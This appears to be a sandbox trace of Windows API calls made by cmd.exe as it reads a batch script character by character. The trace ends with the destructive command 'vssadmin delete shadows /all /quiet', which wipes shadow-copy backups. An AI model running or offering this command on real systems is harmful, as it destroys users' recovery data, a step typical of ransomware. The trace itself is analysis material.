	[0148.063] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1
	[0148.063] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.063] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.063] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.063] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1
	[0148.063] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.063] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.063] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.063] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1
	[0148.063] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.063] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.063] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.063] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1
	[0148.063] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.063] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.063] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.063] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1
	[0148.063] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.063] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.064] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.064] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1
	[0148.064] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.064] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.064] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.064] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1
	[0148.064] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.064] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.064] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.064] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1
	[0148.064] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.064] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.064] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.064] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1
	[0148.064] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.064] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.064] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.064] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1
	[0148.064] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.064] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.065] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.065] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1
	[0148.065] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.065] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.065] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.065] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1
	[0148.065] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.065] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.065] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.065] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1
	[0148.065] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.065] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.065] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.065] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1
	[0148.065] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.065] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.065] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.065] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1
	[0148.065] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.065] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.065] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.066] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1
	[0148.066] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.066] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.066] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.066] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1
	[0148.066] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.066] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.066] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.066] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1
	[0148.066] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.066] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.066] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.066] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0148.066] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.066] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.066] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.066] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0148.066] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.066] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.066] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.066] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0148.067] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.067] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.067] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.067] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0148.067] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.067] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.067] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.067] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0148.067] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.067] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.067] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.067] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0148.067] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.067] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.067] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.067] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0148.067] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.067] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.067] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.067] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1
	[0148.067] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.068] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.068] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.068] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0148.068] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.068] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.068] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.068] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0148.068] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.068] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.068] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.068] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0148.068] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.068] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.068] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.068] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0148.068] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.068] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.068] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0148.068] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0148.069] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.069] GetFileType (hFile=0x248) returned 0x3
	[0148.069] _get_osfhandle (_FileHandle=0) returned 0x248
	[0148.069] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.069] _get_osfhandle (_FileHandle=1) returned 0x254
	[0148.069] GetFileType (hFile=0x254) returned 0x3
	[0148.069] _get_osfhandle (_FileHandle=1) returned 0x254
	[0148.069] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37
	[0148.069] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7c2119970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xb15814f678, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesWritten=0xb15814f678*=0x24, lpOverlapped=0x0) returned 1
	[0148.069] GetProcessHeap () returned 0x28860f10000
	[0148.069] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x4012) returned 0x28860f18e90
	[0148.069] GetProcessHeap () returned 0x28860f10000
	[0148.069] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f18e90) returned 1
	[0148.070] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0148.070] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0148.070] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0148.070] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0148.070] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0148.070] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0148.070] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0148.070] GetProcessHeap () returned 0x28860f10000
	[0148.070] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xb0) returned 0x28860f291a0
	[0148.070] GetProcessHeap () returned 0x28860f10000
	[0148.070] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x22) returned 0x28860f16330
	[0148.071] GetProcessHeap () returned 0x28860f10000
	[0148.071] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x48) returned 0x28860f29260
	[0148.072] GetConsoleOutputCP () returned 0x4e3
	[0148.578] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7c211fbb0 | out: lpCPInfo=0x7ff7c211fbb0) returned 1
	[0148.607] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0148.764] GetConsoleTitleW (in: lpConsoleTitle=0xb15814f4c0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0149.115] malloc (_Size=0xffce) returned 0x28861100840
	[0149.190] ??_V@YAXPEAX@Z () returned 0x28861100840
	[0149.190] malloc (_Size=0xffce) returned 0x28861110820
	[0149.190] ??_V@YAXPEAX@Z () returned 0x28861110820
	[0149.190] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0149.190] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0149.190] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0149.190] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0149.190] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0149.190] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0149.190] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0149.190] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0149.191] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
